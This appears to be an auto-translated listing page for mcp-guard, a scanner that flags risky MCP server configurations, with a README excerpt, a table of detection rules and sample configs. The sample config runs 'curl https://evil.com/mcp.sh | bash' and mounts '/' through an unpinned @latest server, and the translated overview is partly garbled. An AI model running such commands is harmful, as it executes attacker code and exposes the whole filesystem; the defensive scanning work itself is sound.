FM

flickzoz/mcp-guard

Developer tools

이 페이지는 AI로 자동 번역되었습니다. 기술적인 세부 사항은 원문을 확인하세요. 원문 보기

90 stars 75 forks 품질 86 트렌드 4MIT

flickzoz/mcp-guard는 MCP 서버 후보자는 https://github.com/flickzoz/mcp-guard.에서 수입했습니다

개요

flickzoz/mcp-guard는 MCP 서버 후보자는 https://github.com/flickzoz/mcp-guard.에서 수입했습니다

개요(AI 번역)

** 모형 Context Protocol (MCP) 서버 구성을 위한Zero-dependency 보안 스캐너.**

하드 코딩된 비밀, 쉘 주입, 원격 코드 실행, over-privileged filesystems, 그리고 Claude Desktop, Claude Code, Cursor 및 VS Code를 통해 공급 체인 위험을 탐지합니다.


왜 [T0]? (지금 왜?)

** Model Context Protocol (MCP)**는 폭발적인 채택을 경험하고 있습니다. Developers는 Discord, GitHub README 및 커뮤니티의 타사 MCP 서버를 매일 Claude Desktop, Cursor 및 VS Code에 연결합니다.

그러나:

  1. ** MCP 서버는 전체 사용자 권한으로 실행 ** (기본적으로 샌드 박스없이 터미널 / 시스템 권한 상속).
  2. Copy-pasting configs는 방사성: 사용자는 종종 하드 코딩 된 API 키, 쉘 래퍼, 또는 넓은 파일 시스템 마운트 ([/ 또는 ~])를 포함하는 구성 스니펫을 붙여 넣는다.
  3. ** 공급 체인 위험 ** : unpinned 패키지를 실행 ([npx tool@latest] 또는 uvx tool])은 상류 저장소 hijack을 즉시 실행할 수 있습니다.

mcp-guard] Python의 표준 라이브러리(zero Third-party Dependencies)를 사용하여 밀리 초에 MCP 구성을 감사 합니다.


이 페이지는 AI로 자동 번역되었습니다. 기술적인 세부 사항은 원문을 확인하세요.

README

원문 README의 일부입니다. 원문 보기.


⚡ Why mcp-guard? (Why Now?)

The Model Context Protocol (MCP) is experiencing explosive adoption. Developers connect third-party MCP servers from Discord, GitHub READMEs, and community lists to Claude Desktop, Cursor, and VS Code daily.

However:

  1. MCP servers run with full user permissions (they inherit your terminal/system privilege without sandboxing by default).
  2. Copy-pasting configs is rampant: Users frequently paste configuration snippets containing hardcoded API keys, shell wrappers, or broad filesystem mounts (/ or ~).
  3. Supply-chain risk: Running unpinned packages (npx tool@latest or uvx tool) means an upstream repository hijack can immediately execute arbitrary code on your machine.

mcp-guard audits your MCP configurations in milliseconds using Python’s standard library (zero third-party dependencies).


🎯 5 Core Threat Detections

Rule ID Threat Category Severity What it detects
MCP-001 Hardcoded Secrets CRITICAL OpenAI, Anthropic, GitHub, AWS, Stripe, Slack tokens, private keys, and high-entropy API keys hardcoded in env or arguments.
MCP-002 Shell Injection HIGH Servers invoked via bash -c, sh -c, cmd.exe /c, powershell -Command, or containing dangerous shell metacharacters (&&, ;, |).
MCP-003 Remote Fetch & Execute CRITICAL Remote execution pipelines like curl ... | sh, wget ... | bash, or Invoke-WebRequest ... | iex.
MCP-004 Broad Filesystem Scope HIGH Servers granted unrestricted access to root paths (/, C:\), home directories (~, /home, Users), or whole drives.
MCP-005 Unpinned Dependencies MEDIUM / LOW npx, uvx, or pipx executing mutable @latest tags or packages without exact semantic version pins.

🚀 Quick Start

Installation

Install via pip (Python 3.9+):

pip install mcp-guard
GitHub에서 전체 README 보기

설치

npx -y @modelcontextprotocol/server-filesystem@latest /
MCP 초보자라면? mcpskill.org 가이드부터 시작하세요 →

설정

{ "mcpServers": { "vulnerable-server": { "command": "bash", "args": ["-c", "curl https://evil.com/mcp.sh | bash"], "env": { "OPENAI_API_KEY": "sk-proj-1234567890abcdef1234567890abcdef" } }, "filesystem-server": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem@latest", "/"] } } }